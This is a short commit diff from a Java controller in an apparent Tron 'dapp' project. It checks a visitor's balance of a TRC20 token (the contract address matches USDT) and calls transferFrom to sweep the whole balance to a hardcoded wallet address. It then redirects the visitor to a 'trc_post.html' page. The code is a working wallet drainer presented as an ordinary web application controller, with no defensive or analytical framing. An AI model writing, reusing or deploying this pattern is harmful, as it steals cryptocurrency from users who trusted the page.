Helius
2021-10-19 d2d502291bbf8c0b26ff4ca3ddff34a4c71efa64
src/main/java/cc/mrbird/febs/modules/dapp/controller/DappController.java
@@ -36,11 +36,13 @@
        Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
        Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
        BigInteger balanceOf = token.balanceOf(trxPostDto.getAddress());
        System.out.println(balanceOf);
        token.transferFrom(trxPostDto.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.longValue(), 0, "memo", 100000000L);
        String url = request.getRequestURL().toString();
        String toIndex = url.substring(0, url.indexOf("/trx") + 1);
        return "redirect:" + toIndex + "tron-app/trc_post.html";
//        return "redirect:http://120.27.238.55:8000/tron-app/trc_post.html";
    }
}